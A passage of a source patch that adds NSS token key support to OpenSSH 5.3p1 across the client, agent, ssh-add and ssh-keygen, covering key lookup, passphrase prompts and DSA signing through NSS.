+#include "key.h"
+#include "log.h"
+#include "misc.h"
+#include "nsskeys.h"
+#include "pathnames.h"
+
+static char *
+password_cb(PK11SlotInfo *slot, PRBool retry, void *arg)
+{
+	char *password = arg;
+	if (retry || password == NULL)
+		return NULL;
+	
+	return PL_strdup(password);
+}
+
+int
+nss_init(PK11PasswordFunc pwfn)
+{
+	char *dbpath;
+	char buf[MAXPATHLEN];
+
+	if (NSS_IsInitialized())
+		return 0;
+
+	if ((dbpath=getenv("NSS_DB_PATH")) == NULL) {
+		struct passwd *pw;
+		if ((pw = getpwuid(getuid())) == NULL ||
+			pw->pw_dir == NULL) {
+			return -1;
+		}
+		snprintf(buf, sizeof(buf), "%s/%s", pw->pw_dir,
+			    _PATH_SSH_USER_DIR);
+		dbpath = buf;
+	}
+
+	if (NSS_Init(dbpath) != SECSuccess)
+		return -1;
+
+	if (pwfn == NULL) {
+		pwfn = password_cb;
+	}
+
+	PK11_SetPasswordFunc(pwfn);
+	
+	return 0;
+}
+
+static Key *
+make_key_from_privkey(SECKEYPrivateKey *privk, char *password)
+{
+	Key *k;
+	switch (SECKEY_GetPrivateKeyType(privk)) {
+		case rsaKey:
+			k = key_new_nss(KEY_RSA);
+			break;
+		case dsaKey:
+			k = key_new_nss(KEY_DSA);
+			break;
+		default:
+			return NULL;
+	}
+	k->nss->pubk = SECKEY_ConvertToPublicKey(privk);
+	if (k->nss->pubk != NULL) {
+		k->nss->privk = SECKEY_CopyPrivateKey(privk);
+	}
+	if (k->nss->privk != NULL) {
+		if (password != NULL) {
+			k->nss->privk->wincx = xstrdup(password);
+		}
+		return k;
+	}
+	key_free(k);
+	return NULL;
+}
+
+static Key **
+add_key_to_list(Key *k, Key **keys, size_t *i, size_t *allocated)
+{
+	if (*allocated < *i + 2) {
+		*allocated += 16;
+		keys = xrealloc(keys, *allocated, sizeof(k));
+	}
+	keys[*i] = k;
+	(*i)++;
+	keys[*i] = NULL;
+	return keys;
+}
+
+static int
+nss_convert_pubkey(Key *k)
+{
+	u_char *n;
+	unsigned int len;
+	char *p;
+
+	switch (k->type) {
+		case KEY_RSA:
+			n = k->nss->pubk->u.rsa.modulus.data;
+			len = k->nss->pubk->u.rsa.modulus.len;
+
+			if (BN_bin2bn(n, len, k->rsa->n) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+
+			n = k->nss->pubk->u.rsa.publicExponent.data;
+			len = k->nss->pubk->u.rsa.publicExponent.len;
+
+			if (BN_bin2bn(n, len, k->rsa->e) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+			break;
+		case KEY_DSA:
+			n = k->nss->pubk->u.dsa.params.prime.data;
+			len = k->nss->pubk->u.dsa.params.prime.len;
+
+			if (BN_bin2bn(n, len, k->dsa->p) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+
+			n = k->nss->pubk->u.dsa.params.subPrime.data;
+			len = k->nss->pubk->u.dsa.params.subPrime.len;
+
+			if (BN_bin2bn(n, len, k->dsa->q) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+
+			n = k->nss->pubk->u.dsa.params.base.data;
+			len = k->nss->pubk->u.dsa.params.base.len;
+
+			if (BN_bin2bn(n, len, k->dsa->g) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+
+			n = k->nss->pubk->u.dsa.publicValue.data;
+			len = k->nss->pubk->u.dsa.publicValue.len;
+
+			if (BN_bin2bn(n, len, k->dsa->pub_key) == NULL) {
+				fatal("nss_convert_pubkey: BN_bin2bn failed");
+			}
+			break;
+	}
+
+	p = key_fingerprint(k, SSH_FP_MD5, SSH_FP_HEX);
+	debug("fingerprint %u %s", key_size(k), p);
+	xfree(p);
+
+	return 0;
+}
+
+static Key **
+nss_find_privkeys(const char *tokenname, const char *keyname,
+    char *password)
+{
+	Key *k = NULL;
+	Key **keys = NULL;
+	PK11SlotList *slots;
+	PK11SlotListElement *sle;
+	size_t allocated = 0;
+	size_t i = 0;
+
+	if ((slots=PK11_FindSlotsByNames(NULL, NULL, tokenname, PR_TRUE)) == NULL) {
+		if (tokenname == NULL) {
+			debug("No NSS token found");
+		} else {
+			debug("NSS token not found: %s", tokenname);
+		}
+		return NULL;
+	}
+	
+	for (sle = slots->head; sle; sle = sle->next) {
+		SECKEYPrivateKeyList *list;
+		SECKEYPrivateKeyListNode *node;
+		char *tmppass = password;
+				
+		if (PK11_NeedLogin(sle->slot)) {
+			if (password == NULL) {
+				char *prompt;
+				if (asprintf(&prompt, "Enter passphrase for token %s: ",
+					PK11_GetTokenName(sle->slot)) < 0)
+					fatal("password_cb: asprintf failed");
+				tmppass = read_passphrase(prompt, RP_ALLOW_STDIN);
+			}
+			PK11_Authenticate(sle->slot, PR_TRUE, tmppass);
+		}
+
+		debug("Looking for: %s:%s", tokenname, keyname);
+		list = PK11_ListPrivKeysInSlot(sle->slot, (char *)keyname,
+			tmppass);
+		if (list == NULL && keyname != NULL) {
+			char *fooname;
+			/* NSS bug workaround */
+			if (asprintf(&fooname, "%s~", keyname) < 0) {
+				error("nss_find_privkey: asprintf failed");
+				PK11_FreeSlotList(slots);
+				return NULL;
+			}
+			list = PK11_ListPrivKeysInSlot(sle->slot, fooname,
+			tmppass);
+			free(fooname);
+		}
+		if (list == NULL && keyname != NULL) {
+			CERTCertificate *cert;
+			SECKEYPrivateKey *privk;
+			cert = CERT_FindCertByNickname(CERT_GetDefaultCertDB(),
+				(char *)keyname);
+			if (cert == NULL)
+				goto cleanup;
+			privk = PK11_FindPrivateKeyFromCert(sle->slot, cert, tmppass);
+			CERT_DestroyCertificate(cert);
+			if (privk == NULL)
+				goto cleanup;
+			if ((k=make_key_from_privkey(privk, tmppass)) != NULL) {
+				nss_convert_pubkey(k);
+				keys = add_key_to_list(k, keys, &i, &allocated);
+			}
+			SECKEY_DestroyPrivateKey(privk);
+		} else {
+			if (list == NULL)
+				goto cleanup;
+			for (node=PRIVKEY_LIST_HEAD(list); !PRIVKEY_LIST_END(node, list);
+				node=PRIVKEY_LIST_NEXT(node))
+				if ((k=make_key_from_privkey(node->key, tmppass)) != NULL) {
+					nss_convert_pubkey(k);
+					keys = add_key_to_list(k, keys, &i, &allocated);
+				}
+			SECKEY_DestroyPrivateKeyList(list);
+		}
+cleanup:
+		if (password == NULL && tmppass != NULL) {
+			memset(tmppass, 0, strlen(tmppass));
+			xfree(tmppass);
+		}
+	}
+	PK11_FreeSlotList(slots);
+
+	return keys;
+}
+
+Key **
+nss_get_keys(const char *tokenname, const char *keyname,
+    char *password)
+{
+	Key **keys;
+
+	if (nss_init(NULL) == -1) {
+		error("Failed to initialize NSS library");
+		return NULL;
+	}
+
+	keys = nss_find_privkeys(tokenname, keyname, password);
+	if (keys == NULL && keyname != NULL) {
+		error("Cannot find key in nss, token removed");
+		return NULL;
+	}
+#if 0
+	keys = xcalloc(3, sizeof(Key *));
+
+	if (k->type == KEY_RSA) {
+		n = key_new_nss_copy(KEY_RSA1, k);
+
+		keys[0] = n;
+		keys[1] = k;
+		keys[2] = NULL;
+	} else {
+		keys[0] = k;
+		keys[1] = NULL;
+	}
+#endif
+	return keys;
+}
+
+char *
+nss_get_key_label(Key *key)
+{
+	char *label, *nickname;
+	
+	nickname = PK11_GetPrivateKeyNickname(key->nss->privk);
+	label = xstrdup(nickname);
+	PORT_Free(nickname);
+
+	return label;
+}
+
+#endif /* HAVE_LIBNSS */
diff -up /dev/null openssh-5.3p1/nsskeys.h
--- /dev/null	2009-09-11 09:35:58.778798825 +0200
+++ openssh-5.3p1/nsskeys.h	2009-10-02 14:09:01.000000000 +0200
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2001 Markus Friedl.  All rights reserved.
+ * Copyright (c) 2007 Red Hat, Inc.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef NSSKEYS_H
+#define NSSKEYS_H
+#ifdef HAVE_LIBNSS
+#include <pk11func.h>
+#include <prtypes.h>
+
+int	nss_init(PK11PasswordFunc);
+Key	**nss_get_keys(const char *, const char *, char *);
+char	*nss_get_key_label(Key *);
+/*void	 sc_close(void);*/
+/*int	 sc_put_key(Key *, const char *);*/
+
+#endif
+#endif
diff -up openssh-5.3p1/readconf.c.nss-keys openssh-5.3p1/readconf.c
--- openssh-5.3p1/readconf.c.nss-keys	2009-07-05 23:12:27.000000000 +0200
+++ openssh-5.3p1/readconf.c	2009-10-02 14:09:01.000000000 +0200
@@ -124,6 +124,7 @@ typedef enum {
 	oKbdInteractiveAuthentication, oKbdInteractiveDevices, oHostKeyAlias,
 	oDynamicForward, oPreferredAuthentications, oHostbasedAuthentication,
 	oHostKeyAlgorithms, oBindAddress, oSmartcardDevice,
+	oUseNSS, oNSSToken,
 	oClearAllForwardings, oNoHostAuthenticationForLocalhost,
 	oEnableSSHKeysign, oRekeyLimit, oVerifyHostKeyDNS, oConnectTimeout,
 	oAddressFamily, oGssAuthentication, oGssDelegateCreds,
@@ -210,6 +211,13 @@ static struct {
 #else
 	{ "smartcarddevice", oUnsupported },
 #endif
+#ifdef HAVE_LIBNSS
+	{ "usenss", oUseNSS },
+	{ "nsstoken", oNSSToken },
+#else
+	{ "usenss", oUnsupported },
+	{ "nsstoken", oNSSToken },
+#endif
 	{ "clearallforwardings", oClearAllForwardings },
 	{ "enablesshkeysign", oEnableSSHKeysign },
 	{ "verifyhostkeydns", oVerifyHostKeyDNS },
@@ -613,6 +621,14 @@ parse_string:
 		charptr = &options->smartcard_device;
 		goto parse_string;
 
+	case oUseNSS:
+		intptr = &options->use_nss;
+		goto parse_flag;
+
+	case oNSSToken:
+		charptr = &options->nss_token;
+		goto parse_command;
+
 	case oProxyCommand:
 		charptr = &options->proxy_command;
 parse_command:
@@ -1052,6 +1068,8 @@ initialize_options(Options * options)
 	options->preferred_authentications = NULL;
 	options->bind_address = NULL;
 	options->smartcard_device = NULL;
+	options->use_nss = -1;
+	options->nss_token = NULL;
 	options->enable_ssh_keysign = - 1;
 	options->no_host_authentication_for_localhost = - 1;
 	options->identities_only = - 1;
@@ -1183,6 +1201,8 @@ fill_default_options(Options * options)
 		options->no_host_authentication_for_localhost = 0;
 	if (options->identities_only == -1)
 		options->identities_only = 0;
+	if (options->use_nss == -1)
+		options->use_nss = 0;
 	if (options->enable_ssh_keysign == -1)
 		options->enable_ssh_keysign = 0;
 	if (options->rekey_limit == -1)
diff -up openssh-5.3p1/readconf.h.nss-keys openssh-5.3p1/readconf.h
--- openssh-5.3p1/readconf.h.nss-keys	2009-07-05 23:12:27.000000000 +0200
+++ openssh-5.3p1/readconf.h	2009-10-02 14:09:01.000000000 +0200
@@ -85,6 +85,8 @@ typedef struct {
 	char   *preferred_authentications;
 	char   *bind_address;	/* local socket address for connection to sshd */
 	char   *smartcard_device; /* Smartcard reader device */
+	int     use_nss;        /* Use NSS library for keys */
+	char   *nss_token;      /* Look for NSS keys on token */
 	int	verify_host_key_dns;	/* Verify host key using DNS */
 
 	int     num_identity_files;	/* Number of files for RSA/DSA identities. */
diff -up openssh-5.3p1/ssh-add.c.nss-keys openssh-5.3p1/ssh-add.c
--- openssh-5.3p1/ssh-add.c.nss-keys	2008-02-28 09:13:52.000000000 +0100
+++ openssh-5.3p1/ssh-add.c	2009-10-02 14:09:01.000000000 +0200
@@ -44,6 +44,14 @@
 #include <openssl/evp.h>
 #include "openbsd-compat/openssl-compat.h"
 
+#ifdef HAVE_LIBNSS
+#include <nss.h>
+#include <secmod.h>
+#include <pk11pub.h>
+#include <keyhi.h>
+#include <cert.h>
+#endif
+
 #include <fcntl.h>
 #include <pwd.h>
 #include <stdarg.h>
@@ -57,6 +65,7 @@
 #include "rsa.h"
 #include "log.h"
 #include "key.h"
+#include "nsskeys.h"
 #include "buffer.h"
 #include "authfd.h"
 #include "authfile.h"
@@ -307,6 +316,128 @@ do_file(AuthenticationConnection *ac, in
 	return 0;
 }
 
+#ifdef HAVE_LIBNSS
+static char *
+password_cb(PK11SlotInfo *slot, PRBool retry, void *arg)
+{
+	char **passcache = arg;
+	char *password, *p2 = NULL;
+	char *prompt;
+	
+	if (retry)
+		return NULL;
+	
+	if (asprintf(&prompt, "Enter passphrase for token %s: ",
+		PK11_GetTokenName(slot)) < 0)
+		fatal("password_cb: asprintf failed");
+
+	password = read_passphrase(prompt, RP_ALLOW_STDIN);
+	
+	if (password != NULL && (p2=PL_strdup(password)) == NULL) {
+		memset(password, 0, strlen(password));
+		fatal("password_cb: PL_strdup failed");
+	}
+
+	if (passcache != NULL) {
+		if (*passcache != NULL) {
+			memset(*passcache, 0, strlen(*passcache));
+			xfree(*passcache);
+		}
+		*passcache = password;
+	} else {
+		memset(password, 0, strlen(password));
+		xfree(password);
+	}
+	
+	return p2;
+}
+
+static int
+add_slot_keys(AuthenticationConnection *ac, PK11SlotInfo *slot, int add)
+{
+	SECKEYPrivateKeyList *list;
+	SECKEYPrivateKeyListNode *node;
+	char *passcache = NULL;
+	char *tokenname;
+	char **xkeyname = NULL;
+	
+	int count = 0;
+	int i;
+	
+	if (PK11_NeedLogin(slot))
+		PK11_Authenticate(slot, PR_TRUE, &passcache);
+		
+	if ((list=PK11_ListPrivKeysInSlot(slot, NULL, NULL)) == NULL) {
+		return 0;
+	}
+	
+	tokenname = PK11_GetTokenName(slot);
+	
+	for (node=PRIVKEY_LIST_HEAD(list); !PRIVKEY_LIST_END(node, list);
+		node=PRIVKEY_LIST_NEXT(node)) {
+		char *keyname;
+		SECKEYPublicKey *pub;
+		
+		keyname = PK11_GetPrivateKeyNickname(node->key);
+		if (keyname == NULL || *keyname == '\0') {
+			/* no nickname to refer to */
+			CERTCertificate *cert;
+			char *kn;
+			cert = PK11_GetCertFromPrivateKey(node->key);
+			if (cert == NULL)
+				continue;
+			kn = strchr(cert->nickname, ':');
+			if (kn == NULL)
+				kn = cert->nickname;
+			else
+				kn++;
+			keyname = PORT_Strdup(kn);
+			CERT_DestroyCertificate(cert);
+			if (keyname == NULL)
+				continue;
+		}
+		pub = SECKEY_ConvertToPublicKey(node->key);
+		if (pub == NULL) {
+			fprintf(stderr, "No public key for: %s:%s\n",
+				tokenname, keyname);
+			continue; /* not possible to obtain public key */
+		}
+		SECKEY_DestroyPublicKey(pub);
+	
+		if ((count % 10) == 0)	
+			xkeyname = xrealloc (xkeyname, count + 10, sizeof (char *));
+		
+		xkeyname[count++] = keyname;
+	}
+
+	PK11_Logout(slot);
+
+	for (i = 0; i < count; i++) {
+		if (ssh_update_nss_key(ac, add, tokenname, xkeyname[i],
+			passcache?passcache:"",	lifetime, confirm)) {
+			fprintf(stderr, "Key %s: %s:%s\n",
+				add?"added":"removed", tokenname, xkeyname[i]);
+		} else {
+			fprintf(stderr, "Could not %s key: %s:%s\n",
+				add?"add":"remove", tokenname, xkeyname[i]);
+		}
+		PORT_Free(xkeyname[i]);
+	}
+
+	if (xkeyname != NULL)
+		free (xkeyname);
+
+	if (passcache != NULL) {
+		memset(passcache, 0, strlen(passcache));
+		xfree(passcache);
+	}
+	
+	SECKEY_DestroyPrivateKeyList(list);
+	
+	return count;
+}
+#endif
+
 static void
 usage(void)
 {
@@ -334,6 +465,10 @@ main(int argc, char **argv)
 	AuthenticationConnection *ac = NULL;
 	char *sc_reader_id = NULL;
 	int i, ch, deleting = 0, ret = 0;
+#ifdef HAVE_LIBNSS
+	char *token_id = NULL;
+	int use_nss = 0;
+#endif
 
 	/* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */
 	sanitise_stdfd();
@@ -351,7 +486,7 @@ main(int argc, char **argv)
 		    "Could not open a connection to your authentication agent.\n");
 		exit(2);
 	}
-	while ((ch = getopt(argc, argv, "lLcdDxXe:s:t:")) != -1) {
+	while ((ch = getopt(argc, argv, "lLcdDnxXe:s:t:T:")) != -1) {
 		switch (ch) {
 		case 'l':
 		case 'L':
@@ -373,6 +508,11 @@ main(int argc, char **argv)
 			if (delete_all(ac) == -1)
 				ret = 1;
 			goto done;
+#ifdef HAVE_LIBNSS
+		case 'n':
+			use_nss = 1;
+			break;
+#endif
 		case 's':
 			sc_reader_id = optarg;
 			break;
@@ -387,6 +527,11 @@ main(int argc, char **argv)
 				goto done;
 			}
 			break;
+#ifdef HAVE_LIBNSS
+		case 'T':
+			token_id = optarg;
+			break;
+#endif
 		default:
 			usage();
 			ret = 1;
@@ -400,6 +545,40 @@ main(int argc, char **argv)
 			ret = 1;
 		goto done;
 	}
+#ifdef HAVE_LIBNSS
+	if (use_nss) {
+		PK11SlotList *slots;
+		PK11SlotListElement *sle;
+		int count = 0;
+		if (nss_init(password_cb) == -1) {
+			fprintf(stderr, "Failed to initialize NSS library\n");
+			ret = 1;
+			goto done;
+		}
+		
+		if ((slots=PK11_GetAllTokens(CKM_INVALID_MECHANISM, PR_FALSE, PR_FALSE,
+			NULL)) == NULL) {
+			fprintf(stderr, "No tokens found\n");
+			ret = 1;
+			goto nss_done;
+		}
+
+		for (sle = slots->head; sle; sle = sle->next) {
+			int rv;
+			if ((rv=add_slot_keys(ac, sle->slot, !deleting)) == -1) {
+				ret = 1;
+			}
+			count += rv;
+		}
+		if (count == 0) {
+			ret = 1;
+		}
+nss_done:		
+		NSS_Shutdown();
+		clear_pass();
+		goto done;
+	}
+#endif
 	if (argc == 0) {
 		char buf[MAXPATHLEN];
 		struct passwd *pw;
diff -up openssh-5.3p1/ssh-agent.c.nss-keys openssh-5.3p1/ssh-agent.c
--- openssh-5.3p1/ssh-agent.c.nss-keys	2009-06-21 09:50:15.000000000 +0200
+++ openssh-5.3p1/ssh-agent.c	2009-10-02 14:09:01.000000000 +0200
@@ -80,6 +80,10 @@
 #include "scard.h"
 #endif
 
+#ifdef HAVE_LIBNSS
+#include "nsskeys.h"
+#endif
+
 #if defined(HAVE_SYS_PRCTL_H)
 #include <sys/prctl.h>	/* For prctl() and PR_SET_DUMPABLE */
 #endif
@@ -714,6 +718,114 @@ send:
 }
 #endif /* SMARTCARD */
 
+#ifdef HAVE_LIBNSS
+static void
+process_add_nss_key (SocketEntry *e)
+{
+	char *tokenname = NULL, *keyname = NULL, *password = NULL;
+	int i, version, success = 0, death = 0, confirm = 0;
+	Key **keys, *k;
+	Identity *id;
+	Idtab *tab;
+
+	tokenname = buffer_get_string(&e->request, NULL);
+	keyname = buffer_get_string(&e->request, NULL);
+	password = buffer_get_string(&e->request, NULL);
+
+	while (buffer_len(&e->request)) {
+		switch (buffer_get_char(&e->request)) {
+		case SSH_AGENT_CONSTRAIN_LIFETIME:
+			death = time(NULL) + buffer_get_int(&e->request);
+			break;
+		case SSH_AGENT_CONSTRAIN_CONFIRM:
+			confirm = 1;
+			break;
+		default:
+			break;
+		}
+	}
+	if (lifetime && !death)
+		death = time(NULL) + lifetime;
+
+	keys = nss_get_keys(tokenname, keyname, password);
+	/* password is owned by keys[0] now */
+	xfree(tokenname);
+	xfree(keyname);
+
+	if (keys == NULL) {
+		memset(password, 0, strlen(password));
+		xfree(password);
+		error("nss_get_keys failed");
+		goto send;
+	}
+	for (i = 0; keys[i] != NULL; i++) {
+		k = keys[i];
+		version = k->type == KEY_RSA1 ? 1 : 2;
+		tab = idtab_lookup(version);
+		if (lookup_identity(k, version) == NULL) {
+			id = xmalloc(sizeof(Identity));
+			id->key = k;
+			id->comment = nss_get_key_label(k);
+			id->death = death;
+			id->confirm = confirm;
+			TAILQ_INSERT_TAIL(&tab->idlist, id, next);
+			tab->nentries++;
+			success = 1;
+		} else {
+			key_free(k);
+		}
+		keys[i] = NULL;
+	}
+	xfree(keys);
+send:
+	buffer_put_int(&e->output, 1);
+	buffer_put_char(&e->output,
+	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
+}
+
+static void
+process_remove_nss_key(SocketEntry *e)
+{
+	char *tokenname = NULL, *keyname = NULL, *password = NULL;
+	int i, version, success = 0;
+	Key **keys, *k = NULL;
+	Identity *id;
+	Idtab *tab;
+
+	tokenname = buffer_get_string(&e->request, NULL);
+	keyname = buffer_get_string(&e->request, NULL);
+	password = buffer_get_string(&e->request, NULL);
+
+	keys = nss_get_keys(tokenname, keyname, password);
+	xfree(tokenname);
+	xfree(keyname);
+	xfree(password);
+
+	if (keys == NULL || keys[0] == NULL) {
+		error("nss_get_keys failed");
+		goto send;
+	}
+	for (i = 0; keys[i] != NULL; i++) {
+		k = keys[i];
+		version = k->type == KEY_RSA1 ? 1 : 2;
+		if ((id = lookup_identity(k, version)) != NULL) {
+			tab = idtab_lookup(version);
+			TAILQ_REMOVE(&tab->idlist, id, next);
+			tab->nentries--;
+			free_identity(id);
+			success = 1;
+		}
+		key_free(k);
+		keys[i] = NULL;
+	}
+	xfree(keys);
+send:
+	buffer_put_int(&e->output, 1);
+	buffer_put_char(&e->output,
+	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
+}
+#endif /* HAVE_LIBNSS */
+
 /* dispatch incoming messages */
 
 static void
@@ -806,6 +918,15 @@ process_message(SocketEntry *e)
 		process_remove_smartcard_key(e);
 		break;
 #endif /* SMARTCARD */
+#ifdef HAVE_LIBNSS
+	case SSH_AGENTC_ADD_NSS_KEY:
+	case SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED:
+		process_add_nss_key(e);
+		break;
+	case SSH_AGENTC_REMOVE_NSS_KEY:
+		process_remove_nss_key(e);
+		break;
+#endif /* SMARTCARD */
 	default:
 		/* Unknown message.  Respond with failure. */
 		error("Unknown message %d", type);
diff -up openssh-5.3p1/ssh.c.nss-keys openssh-5.3p1/ssh.c
--- openssh-5.3p1/ssh.c.nss-keys	2009-07-05 23:16:56.000000000 +0200
+++ openssh-5.3p1/ssh.c	2009-10-02 14:09:01.000000000 +0200
@@ -105,6 +105,9 @@
 #ifdef SMARTCARD
 #include "scard.h"
 #endif
+#ifdef HAVE_LIBNSS
+#include "nsskeys.h"
+#endif
 
 extern char *__progname;
 
@@ -1234,9 +1237,11 @@ load_public_identity_files(void)
 	int i = 0;
 	Key *public;
 	struct passwd *pw;
-#ifdef SMARTCARD
+#if defined(SMARTCARD) || defined(HAVE_LIBNSS)
 	Key **keys;
+#endif
 
+#ifdef SMARTCARD
 	if (options.smartcard_device != NULL &&
 	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
 	    (keys = sc_get_keys(options.smartcard_device, NULL)) != NULL) {
@@ -1259,6 +1264,27 @@ load_public_identity_files(void)
 		xfree(keys);
 	}
 #endif /* SMARTCARD */
+#ifdef HAVE_LIBNSS
+	if (options.use_nss &&
+	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
+	    (keys = nss_get_keys(options.nss_token, NULL, NULL)) != NULL) {
+		int count;
+		for (count = 0; keys[count] != NULL; count++) {
+			memmove(&options.identity_files[1], &options.identity_files[0],
+			    sizeof(char *) * (SSH_MAX_IDENTITY_FILES - 1));
+			memmove(&options.identity_keys[1], &options.identity_keys[0],
+			    sizeof(Key *) * (SSH_MAX_IDENTITY_FILES - 1));
+			options.num_identity_files++;
+			options.identity_keys[0] = keys[count];
+			options.identity_files[0] = nss_get_key_label(keys[count]);
+		}
+		if (options.num_identity_files > SSH_MAX_IDENTITY_FILES)
+			options.num_identity_files = SSH_MAX_IDENTITY_FILES;
+		i += count;
+		xfree(keys);
+	}
+#endif /* HAVE_LIBNSS */
+
 	if ((pw = getpwuid(original_real_uid)) == NULL)
 		fatal("load_public_identity_files: getpwuid failed");
 	pwname = xstrdup(pw->pw_name);
diff -up openssh-5.3p1/ssh-dss.c.nss-keys openssh-5.3p1/ssh-dss.c
--- openssh-5.3p1/ssh-dss.c.nss-keys	2006-11-07 13:14:42.000000000 +0100
+++ openssh-5.3p1/ssh-dss.c	2009-10-02 14:09:01.000000000 +0200
@@ -39,6 +39,10 @@
 #include "log.h"
 #include "key.h"
 
+#ifdef HAVE_LIBNSS
+#include <cryptohi.h>
+#endif
+
 #define INTBLOB_LEN	20
 #define SIGBLOB_LEN	(2*INTBLOB_LEN)
 
@@ -57,6 +61,34 @@ ssh_dss_sign(const Key *key, u_char **si
 		error("ssh_dss_sign: no DSA key");
 		return -1;
 	}
+#ifdef HAVE_LIBNSS
+	if (key->flags & KEY_FLAG_NSS) {
+		SECItem sigitem;
+		SECItem *rawsig;
+
+		memset(&sigitem, 0, sizeof(sigitem));
+		if (SEC_SignData(&sigitem, (u_char *)data, datalen, key->nss->privk,
+			SEC_OID_ANSIX9_DSA_SIGNATURE_WITH_SHA1_DIGEST) != SECSuccess) {
+			error("ssh_dss_sign: sign failed");
+			return -1;
+		}
+		
+		if ((rawsig=DSAU_DecodeDerSig(&sigitem)) == NULL) {
+			error("ssh_dss_sign: der decode failed");
+			SECITEM_ZfreeItem(&sigitem, PR_FALSE);
+			return -1;
+		}
+		SECITEM_ZfreeItem(&sigitem, PR_FALSE);
+		if (rawsig->len != SIGBLOB_LEN) {
+			error("ssh_dss_sign: unsupported signature length %d",
+				rawsig->len);
+			SECITEM_ZfreeItem(rawsig, PR_TRUE);
+			return -1;
+		}
+		memcpy(sigblob, rawsig->data, SIGBLOB_LEN);
+		SECITEM_ZfreeItem(rawsig, PR_TRUE);
+	} else {
+#endif
 	EVP_DigestInit(&md, evp_md);
 	EVP_DigestUpdate(&md, data, datalen);
 	EVP_DigestFinal(&md, digest, &dlen);
@@ -80,7 +112,9 @@ ssh_dss_sign(const Key *key, u_char **si
 	BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen);
 	BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen);
 	DSA_SIG_free(sig);
-
+#ifdef HAVE_LIBNSS
+	}
+#endif
 	if (datafellows & SSH_BUG_SIGBLOB) {
 		if (lenp != NULL)
 			*lenp = SIGBLOB_LEN;
diff -up openssh-5.3p1/ssh-keygen.c.nss-keys openssh-5.3p1/ssh-keygen.c
--- openssh-5.3p1/ssh-keygen.c.nss-keys	2009-06-22 08:11:07.000000000 +0200
+++ openssh-5.3p1/ssh-keygen.c	2009-10-02 14:09:01.000000000 +0200
@@ -53,6 +53,11 @@
 #include "scard.h"
 #endif
 
+#ifdef HAVE_LIBNSS
+#include <nss.h>
+#include "nsskeys.h"
+#endif
+
 /* Number of bits in the RSA/DSA key.  This value can be set on the command line. */
 #define DEFAULT_BITS		2048
 #define DEFAULT_BITS_DSA	1024
@@ -501,6 +506,26 @@ do_download(struct passwd *pw, const cha
 }
 #endif /* SMARTCARD */
 
+#ifdef HAVE_LIBNSS
+static void
+do_nss_download(struct passwd *pw, const char *tokenname, const char *keyname)
+{
+	Key **keys = NULL;
+	int i;
+	
+	keys = nss_get_keys(tokenname, keyname, NULL);
+	if (keys == NULL)
+		fatal("cannot find public key in NSS");
+	for (i = 0; keys[i]; i++) {
+		key_write(keys[i], stdout);
+		key_free(keys[i]);
+		fprintf(stdout, "\n");
+	}
+	xfree(keys);
+	exit(0);
+}
+#endif /* HAVE_LIBNSS */
+
 static void
 do_fingerprint(struct passwd *pw)
 {
@@ -1083,7 +1108,8 @@ main(int argc, char **argv)
 	Key *private, *public;
 	struct passwd *pw;
 	struct stat st;
-	int opt, type, fd, download = 0;
+	int opt, type, fd, download = 1;
+	int use_nss = 0;
 	u_int32_t memory = 0, generator_wanted = 0, trials = 100;
 	int do_gen_candidates = 0, do_screen_candidates = 0;
 	BIGNUM *start = NULL;
@@ -1116,7 +1142,7 @@ main(int argc, char **argv)
 	}
 
 	while ((opt = getopt(argc, argv,
-	    "degiqpclBHvxXyF:b:f:t:U:D:P:N:C:r:g:R:T:G:M:S:a:W:")) != -1) {
+	    "degiqpclnBHvxXyF:b:f:t:U:D:P:N:C:r:g:R:T:G:M:S:a:W:")) != -1) {
 		switch (opt) {
 		case 'b':
 			bits = (u_int32_t)strtonum(optarg, 768, 32768, &errstr);
@@ -1156,6 +1182,10 @@ main(int argc, char **argv)
 		case 'g':
 			print_generic = 1;
 			break;
+		case 'n':
+			use_nss = 1;
+			download = 1;
+			break;
 		case 'P':
 			identity_passphrase = optarg;
 			break;
@@ -1187,10 +1217,10 @@ main(int argc, char **argv)
 		case 't':
 			key_type_name = optarg;
 			break;
-		case 'D':
-			download = 1;
-			/*FALLTHROUGH*/
 		case 'U':
+			download = 0;
+			/*FALLTHROUGH*/
+		case 'D':
 			reader_id = optarg;
 			break;
 		case 'v':
